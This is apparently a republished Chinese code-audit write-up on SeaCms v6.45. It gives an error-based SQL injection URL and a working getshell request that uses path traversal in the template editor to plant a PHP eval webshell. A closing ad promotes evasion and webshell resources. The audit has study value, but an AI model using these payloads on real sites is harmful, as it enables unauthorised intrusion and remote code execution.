SeaCms 代码审计getshell
2022-11-19 20:6:1 Author: 渗透安全团队(查看原文) 阅读量:23 收藏

版本:

SeaCms v6.45

下载地址

https://down.easck.com/code/29585.html#xzdz

测试install处是否可以getshell

数据库名可以写入到data目录下的common.inc.php中,尝试进行写入';phpinfo();#进行闭合,但是对\和'都进行了转义故无法利用 通读 index.php 和 admin/index.php 和 admin/login.php 文件 SeaCms 用 addslashes 函数对参数进行处理

function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}

且数据库编码并没有设置为 GBK,这种情况下可能产生的 SQL 注入的有两种

  • 把客户端IP存储进数据库,且客户端IP可以伪造
  • SQL 语句参数没有引号包裹或者用 反引号 等包裹

上seay源代码审计工具,简化人工审计工作量可以看到这个$ids没有单引号包裹,这条语句是在 Readrlist 函数执行的可构造语句造成报错注入

comment/api/index.php?gid=1&page=2&rlist[]=extractvalue(1,concat_ws(0x7e,user(),database()))

来到后台我注意到有一个模板编辑功能查看admin_template.php内容

<?php
require_once(dirname(__FILE__)."/config.php");
if(empty($action))
{
$action = '';
}

$dirTemplate="../templets";

if($action=='edit')
{
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$filetype=getfileextend($filedir);
if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
{
ShowMsg("操作被禁止!","admin_template.php");
exit;
}
$filename=substr($filedir,strrpos($filedir,'/')+1,strlen($filedir)-1);
$content=loadFile($filedir);
$content = m_eregi_replace("<textarea","##textarea",$content);
$content = m_eregi_replace("</textarea","##/textarea",$content);
$content = m_eregi_replace("<form","##form",$content);
$content = m_eregi_replace("</form","##/form",$content);
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
elseif($action=='editCus')
{
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$filetype=getfileextend($filedir);
if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
{
ShowMsg("操作被禁止!","admin_template.php");
exit;
}
$filename=substr($filedir,strrpos($filedir,'/')+1,strlen($filedir)-1);
$content=loadFile($filedir);
$content = m_eregi_replace("<textarea","##textarea",$content);
$content = m_eregi_replace("</textarea","##/textarea",$content);
$content = m_eregi_replace("<form","##form",$content);
$content = m_eregi_replace("</form","##/form",$content);
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
elseif($action=='saveCus')
{
if($filedir == '')
{
ShowMsg('未指定要编辑的文件或文件名不合法', '-1');
exit();
}
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$filetype=getfileextend($filedir);
if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
{
ShowMsg("操作被禁止!","admin_template.php");
exit;
}
$folder=substr($filedir,0,strrpos($filedir,'/'));
if(!is_dir($folder)){
ShowMsg("目录不存在!","admin_template.php");
exit;
}
$content = stripslashes($content);
$content = m_eregi_replace("##textarea","<textarea",$content);
$content = m_eregi_replace("##/textarea","</textarea",$content);
$content = m_eregi_replace("##form","<form",$content);
$content = m_eregi_replace("##/form","</form",$content);
createTextFile($content,$filedir);
ShowMsg("操作成功!","admin_template.php?action=custom");
exit;
}
elseif($action=='save')
{
if($filedir == '')
{
ShowMsg('未指定要编辑的文件或文件名不合法', '-1');
exit();
}
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$filetype=getfileextend($filedir);
if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
{
ShowMsg("操作被禁止!","admin_template.php");
exit;
}
$folder=substr($filedir,0,strrpos($filedir,'/'));
if(!is_dir($folder)){
ShowMsg("目录不存在!","admin_template.php");
exit;
}
$content = stripslashes($content);
$content = m_eregi_replace("##textarea","<textarea",$content);
$content = m_eregi_replace("##/textarea","</textarea",$content);
$content = m_eregi_replace("##form","<form",$content);
$content = m_eregi_replace("##/form","</form",$content);
createTextFile($content,$filedir);
ShowMsg("操作成功!","admin_template.php?path=".$folder);
exit;
}
elseif($action=='del')
{
if($filedir == '')
{
ShowMsg('未指定要删除的文件或文件名不合法', '-1');
exit();
}
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许删除templets目录内的文件!","admin_template.php");
exit;
}
$folder=substr($filedir,0,strrpos($filedir,'/'));
if(!is_dir($folder)){
ShowMsg("目录不存在!","admin_template.php");
exit;
}
unlink($filedir);
ShowMsg("操作成功!","admin_template.php?path=".$folder);
exit;
}
elseif($action=='add')
{
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
elseif($action=='custom')
{
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
elseif($action=='savenew')
{
if(empty($name)){
ShowMsg("请填写文件名","-1");
exit;
}
if(!m_ereg("^[0-9a-z-]+$",$name)){
ShowMsg("文件名不合法","-1");
exit;
}
$defaultfolder="../templets/".$cfg_df_style."/".$cfg_df_html;
if(empty($filedir)) $filedir=$defaultfolder;
if($filedir!=$defaultfolder){
ShowMsg("只能把模板添加在{$defaultfolder}文件夹","admin_template.php?path=".$filedir);
exit;
}
if(file_exists($filedir."/self_".$name.".html")){
ShowMsg("已存在该文件请更换名称","-1");
exit;
}
createTextFile($content,$filedir."/self_".$name.".html");
ShowMsg("操作成功!","admin_template.php?action=custom");
exit;
}
else
{
if(empty($path)) $path=$dirTemplate; else $path=strtolower($path);
if(substr($path,0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$flist=getFolderList($path);
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
?>

写入目录限制在 ../templets 上,可以通过目录穿越绕过这一点,这时候是写入文件内容可控文件名后缀只能是 html/htm/js/css/txt在前面通读代码的时候注意到 admin/login.php 有一个文件包含操作

include('templets/login.htm');

通过目录穿越+文件包含就可以通过写入一句话到 login.htm 文件中 修改模版通过burp进行抓包将原始data修改

content=<?php fputs(fopen('a.php','w'),'<?php eval($_POST["a"]);?>');?>&filedir=../templets/../admin/templets/login.htm&Submit=%E4%BF%AE%E6%94%B9%E6%A8%A1%E6%9D%BF

访问 admin/login.php 会在admin下生成一个a.php执行下system("whoami");  成功

付费圈子

星 球 免 费 福 利

 转发公众号本文到朋友圈

 截图到公众号后台第1、5名获取免费进入星球

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247494650&idx=2&sn=dfe51b8fdd157193e8938aa4701a620c&chksm=c1761655f6019f43454236585a74ac26c2bd9b9007b9029d873972e10fa62485d80173585a3f#rd
如有侵权请联系:admin#unsafe.sh